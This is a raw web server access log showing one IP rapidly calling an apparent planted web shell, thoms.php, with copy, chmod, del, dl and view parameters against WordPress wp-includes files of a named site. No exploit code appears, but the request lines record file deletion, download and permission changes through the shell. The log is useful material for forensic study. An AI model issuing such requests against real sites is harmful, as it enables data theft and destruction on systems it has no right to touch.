45.135.193.11 - - [11/Sep/2026:23:27:18 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fhttp.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11865 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fhttp.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:18 -0400] "GET /thoms.php?chmod=class-wp-customize-section.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11528 "http://163.245.207.76:443/thoms.php?chmod=class-wp-customize-section.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:18 -0400] "GET /thoms.php?chmod=default-widgets.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11534 "http://163.245.207.76:443/thoms.php?chmod=default-widgets.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:18 -0400] "GET /thoms.php?del=cache.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59155 "http://163.245.207.76:443/thoms.php?del=cache.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:18 -0400] "GET /bossini.com.tw/wp-includes/template-canvas.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:18 -0400] "GET /thoms.php?chmod=script-loader.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11514 "http://163.245.207.76:443/thoms.php?chmod=script-loader.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:18 -0400] "GET /thoms.php?del=class-wp-customize-setting.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59167 "http://163.245.207.76:443/thoms.php?del=class-wp-customize-setting.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:18 -0400] "GET /bossini.com.tw/wp-includes/class-wp-icons-registry.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:18 -0400] "GET /bossini.com.tw/wp-includes/class-wp-text-diff-renderer-table.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:18 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-tax-query.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11879 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-tax-query.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:18 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-theme.php HTTP/1.1" 200 30460 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-theme.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:19 -0400] "GET /thoms.php?chmod=http.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11521 "http://163.245.207.76:443/thoms.php?chmod=http.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:18 -0400] "GET /thoms.php?del=class-wp-ajax-response.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59165 "http://163.245.207.76:443/thoms.php?del=class-wp-ajax-response.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:19 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fblock-editor.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11882 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fblock-editor.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:19 -0400] "GET /thoms.php?del=feed-atom-comments.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59165 "http://163.245.207.76:443/thoms.php?del=feed-atom-comments.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:19 -0400] "GET /bossini.com.tw/wp-includes/class-wp-connector-registry.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:19 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-avif-info.php HTTP/1.1" 200 19701 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-avif-info.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:19 -0400] "GET /thoms.php?dl=abilities-api.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59164 "http://163.245.207.76:443/thoms.php?dl=abilities-api.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:19 -0400] "GET /bossini.com.tw/wp-includes/feed-rss2.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:19 -0400] "GET /bossini.com.tw/wp-includes/PHPMailer/ HTTP/1.1" 200 1380 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:19 -0400] "GET /thoms.php?chmod=registration.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11514 "http://163.245.207.76:443/thoms.php?chmod=registration.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:19 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fspl-autoload-compat.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11892 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fspl-autoload-compat.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:20 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=query.php HTTP/1.1" 200 18079 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=query.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:19 -0400] "GET /thoms.php?del=class-wp-http-cookie.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59162 "http://163.245.207.76:443/thoms.php?del=class-wp-http-cookie.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:20 -0400] "GET /thoms.php?chmod=theme.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11521 "http://163.245.207.76:443/thoms.php?chmod=theme.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:20 -0400] "GET /thoms.php?dl=class.wp-scripts.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59151 "http://163.245.207.76:443/thoms.php?dl=class.wp-scripts.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:20 -0400] "GET /thoms.php?dl=template-canvas.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59164 "http://163.245.207.76:443/thoms.php?dl=template-canvas.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:20 -0400] "GET /bossini.com.tw/wp-includes/wp-db.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:20 -0400] "GET /thoms.php?chmod=class.wp-dependencies.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11542 "http://163.245.207.76:443/thoms.php?chmod=class.wp-dependencies.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:20 -0400] "GET /thoms.php?chmod=blocks&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11526 "http://163.245.207.76:443/thoms.php?chmod=blocks&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:20 -0400] "GET /thoms.php?del=class-phpmailer.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59155 "http://163.245.207.76:443/thoms.php?del=class-phpmailer.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:20 -0400] "GET /thoms.php?del=nav-menu-template.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59163 "http://163.245.207.76:443/thoms.php?del=nav-menu-template.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:21 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-embed.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11887 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-embed.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:20 -0400] "GET /thoms.php?dl=block-template.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59166 "http://163.245.207.76:443/thoms.php?dl=block-template.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:21 -0400] "GET /thoms.php?dl=class-wp-block-patterns-registry.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59162 "http://163.245.207.76:443/thoms.php?dl=class-wp-block-patterns-registry.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:21 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-image-editor.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11887 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-image-editor.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:21 -0400] "GET /bossini.com.tw/wp-includes/class-phpmailer.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:21 -0400] "GET /thoms.php?chmod=class-wp-post-type.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11535 "http://163.245.207.76:443/thoms.php?chmod=class-wp-post-type.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:21 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=embed-template.php HTTP/1.1" 200 12103 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=embed-template.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:21 -0400] "GET /thoms.php?dl=class-wp-http-curl.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59164 "http://163.245.207.76:443/thoms.php?dl=class-wp-http-curl.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:21 -0400] "GET /bossini.com.tw/wp-includes/class-wp-feed-cache-transient.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:21 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-application-passwords.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11892 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-application-passwords.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:21 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-block-parser.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11890 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-block-parser.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:22 -0400] "GET /bossini.com.tw/wp-includes/sitemaps/ HTTP/1.1" 200 1329 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:22 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=comment.php HTTP/1.1" 200 56943 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=comment.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:22 -0400] "GET /bossini.com.tw/wp-includes/bookmark-template.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:22 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fabilities.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11878 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fabilities.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:22 -0400] "GET /thoms.php?dl=embed-template.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59162 "http://163.245.207.76:443/thoms.php?dl=embed-template.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:22 -0400] "GET /thoms.php?del=ms-settings.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59087 "http://163.245.207.76:443/thoms.php?del=ms-settings.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:22 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-walker-page-dropdown.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11882 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-walker-page-dropdown.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:22 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=capabilities.php HTTP/1.1" 200 21590 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=capabilities.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:22 -0400] "GET /bossini.com.tw/wp-includes/abilities-api.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:22 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-http.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11884 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-http.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:22 -0400] "GET /bossini.com.tw/wp-includes/compat-utf8.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:22 -0400] "GET /thoms.php?chmod=compat.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11520 "http://163.245.207.76:443/thoms.php?chmod=compat.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:23 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=general-template.php HTTP/1.1" 200 63153 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=general-template.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:23 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=ms-deprecated.php HTTP/1.1" 200 19318 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=ms-deprecated.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:23 -0400] "GET /bossini.com.tw/wp-includes/class-walker-page.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:22 -0400] "GET /thoms.php?del=class-wp-theme-json-schema.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59164 "http://163.245.207.76:443/thoms.php?del=class-wp-theme-json-schema.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:23 -0400] "GET /thoms.php?del=class-walker-page-dropdown.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59155 "http://163.245.207.76:443/thoms.php?del=class-walker-page-dropdown.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:23 -0400] "GET /bossini.com.tw/wp-includes/class-wp-http.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:23 -0400] "GET /thoms.php?del=class-wp-http-curl.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59061 "http://163.245.207.76:443/thoms.php?del=class-wp-http-curl.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:23 -0400] "GET /thoms.php?del=class-wp-styles.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59166 "http://163.245.207.76:443/thoms.php?del=class-wp-styles.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:23 -0400] "GET /thoms.php?chmod=pluggable-deprecated.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11526 "http://163.245.207.76:443/thoms.php?chmod=pluggable-deprecated.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:23 -0400] "GET /thoms.php?dl=class-wp-customize-section.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59162 "http://163.245.207.76:443/thoms.php?dl=class-wp-customize-section.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:24 -0400] "GET /bossini.com.tw/wp-includes/php-ai-client/ HTTP/1.1" 200 860 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:24 -0400] "GET /thoms.php?chmod=Text&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11502 "http://163.245.207.76:443/thoms.php?chmod=Text&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:24 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-rewrite.php HTTP/1.1" 200 30264 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-rewrite.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:24 -0400] "GET /bossini.com.tw/wp-includes/class.wp-styles.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:24 -0400] "GET /thoms.php?del=block-supports&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59142 "http://163.245.207.76:443/thoms.php?del=block-supports&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:24 -0400] "GET /thoms.php?dl=class-wp-image-editor-gd.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59155 "http://163.245.207.76:443/thoms.php?dl=class-wp-image-editor-gd.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:24 -0400] "GET /thoms.php?chmod=feed-atom.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11526 "http://163.245.207.76:443/thoms.php?chmod=feed-atom.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:24 -0400] "GET /bossini.com.tw/wp-includes/ID3/ HTTP/1.1" 200 1643 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
